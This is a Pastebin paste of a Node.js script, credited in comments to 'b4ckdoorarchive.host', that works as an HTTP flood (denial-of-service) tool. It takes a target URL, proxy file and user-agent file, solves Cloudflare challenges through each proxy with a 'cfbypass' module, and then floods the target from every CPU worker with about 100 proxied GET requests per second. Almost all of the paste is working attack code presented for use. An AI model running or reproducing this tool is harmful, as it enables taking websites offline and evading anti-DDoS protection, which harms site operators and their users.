Advertisement
Arbitrator

Untitled

Jan 3rd, 2020
8,840
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.34 KB | None | 0 0
  1. const cluster = require('cluster'); // By b4ckdoorarchive.host
  2. const request = require('request'); // By b4ckdoorarchive.host
  3. const numCPUs = require('os').cpus().length; // By b4ckdoorarchive.host
  4. const chunks = require('array.chunk'); // By b4ckdoorarchive.host
  5.  
  6. var _ANSI = {
  7. Reset: "\x1b[0m",
  8. Bright: "\x1b[1m",
  9. Dim: "\x1b[2m",
  10. Underscore: "\x1b[4m",
  11. Blink: "\x1b[5m",
  12. Reverse: "\x1b[7m",
  13. Hidden: "\x1b[8m",
  14.  
  15. FgBlack: "\x1b[30m",
  16. FgRed: "\x1b[31m",
  17. FgGreen: "\x1b[32m",
  18. FgYellow: "\x1b[33m",
  19. FgBlue: "\x1b[34m",
  20. FgMagenta: "\x1b[35m",
  21. FgCyan: "\x1b[36m",
  22. FgWhite: "\x1b[37m",
  23.  
  24. BgBlack: "\x1b[40m",
  25. BgRed: "\x1b[41m",
  26. BgGreen: "\x1b[42m",
  27. BgYellow: "\x1b[43m",
  28. BgBlue: "\x1b[44m",
  29. BgMagenta: "\x1b[45m",
  30. BgCyan: "\x1b[46m",
  31. BgWhite: "\x1b[47m"
  32. };
  33.  
  34. var cfb = require('cfbypass');
  35.  
  36. var fs = require('fs');
  37.  
  38. function createHandler(_URL, _UA, _PROXY, _CALLBACK) {
  39. cfb.request({
  40. method: 'GET',
  41. url: _URL,
  42. challengesToSolve: 3, // optional, if CF returns challenge after challenge, how many to solve before failing
  43. followAllRedirects: true, // mandatory for successful challenge solution
  44. headers: {
  45. 'User-Agent': _UA
  46. },
  47. proxy: _PROXY,
  48. }, function(err, response, body) {
  49. if (err) {
  50. //console.log(err);
  51. _CALLBACK(false);
  52. } else {
  53. // console.log(body);
  54. _CALLBACK(response.req._headers, _PROXY);
  55. }
  56. //body is now a buffer object instead of a string
  57. });
  58. }
  59.  
  60.  
  61.  
  62. if (cluster.isMaster) {
  63. masterProcess();
  64. } else {
  65. childProcess();
  66. }
  67.  
  68.  
  69.  
  70.  
  71. function masterProcess() {
  72. var _URL, _PROXIES_FILE, _UAS_FILE, _TIME, _HANDLERS_COUNT, _HANDLERS, _WORKERS, _WORKER, _PROXIES;
  73. _WORKERS = [];
  74.  
  75. console.log(`Master ${process.pid} is running`);
  76. for (var k in process.argv) {
  77. if (process.argv[k] == '-h') {
  78. _URL = process.argv[parseInt(k) + 1];
  79. }
  80. if (process.argv[k] == '-c') {
  81. _HANDLERS_COUNT = parseInt(process.argv[parseInt(k) + 1]);
  82. }
  83. if (process.argv[k] == '-u') {
  84. _UAS_FILE = process.argv[parseInt(k) + 1];
  85. }
  86. if (process.argv[k] == '-p') {
  87. _PROXIES_FILE = process.argv[parseInt(k) + 1];
  88. }
  89.  
  90. }
  91.  
  92. var path = process.cwd();
  93. var buffer = fs.readFileSync(path + "/"+_UAS_FILE);
  94. var text = buffer.toString();
  95. var useragents = text.split("\n");
  96. buffer = fs.readFileSync(path + "/"+_PROXIES_FILE);
  97. text = buffer.toString();
  98. _PROXIES = text.split("\n");
  99.  
  100.  
  101. console.log(_ANSI.FgGreen + "Preparing " + _HANDLERS_COUNT + " handlers for " + _URL + _ANSI.Reset);
  102. var _PROXIES_CHUNKS = chunks(_PROXIES,parseInt(_PROXIES.length/(numCPUs-1)));
  103. for (let i = 0; i < numCPUs; i++) {
  104. console.log(`Forking process number ${i}...`);
  105. _WORKER = cluster.fork();
  106. _WORKERS.push(_WORKER);
  107.  
  108.  
  109. }
  110. for (var key in _WORKERS){
  111. _WORKER = _WORKERS[key];
  112. _WORKER.send({proxies:_PROXIES_CHUNKS[parseInt(key)], URL: _URL, useragents: useragents});
  113.  
  114. }
  115.  
  116.  
  117. // process.exit();
  118. }
  119.  
  120. function childProcess() {
  121. var _HANDLERS = [];
  122. process.on('message', function(message) {
  123. var proxies = message.proxies;
  124. var useragents = message.useragents;
  125. var _URL = message.URL;
  126. for(var i = 0; i < proxies.length; i++){
  127. var proxy = proxies[i];
  128. var useragent = useragents[Math.floor(Math.random()*useragents.length)];
  129. if(proxy !== undefined && proxy !== null){
  130. console.log(_ANSI.FgGreen + "Preparing handler for proxy "+ proxy+" with UserAgent: "+useragent+ _ANSI.Reset);
  131. createHandler(_URL, useragent, "http://"+proxy, function(a,b){
  132. if(a !== false){
  133. console.log("Handler Started");
  134. a['Referer'] = _URL;
  135. _HANDLERS.push({headers: a, proxy: b});
  136. }
  137. });
  138. }
  139. }
  140.  
  141. setInterval(function(){
  142. if(_HANDLERS.length > 1){
  143. for (var i = 0; i < 100; i++) {
  144. var handler = _HANDLERS[Math.floor(Math.random()*_HANDLERS.length)];
  145. var options = {
  146. url: _URL,
  147. headers: handler.headers,
  148. proxy: handler.proxy
  149.  
  150. };
  151.  
  152.  
  153. request.get(options, function(error, response, body) {
  154. if(body !== undefined){
  155. if(body.includes("visiting")){
  156. console.log("200 OK");
  157. }
  158. }
  159. });
  160.  
  161. }
  162. }
  163. }, 1000);
  164. });
  165. }
  166.  
  167. // B4CKDOOR FUCK ME PLOX
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement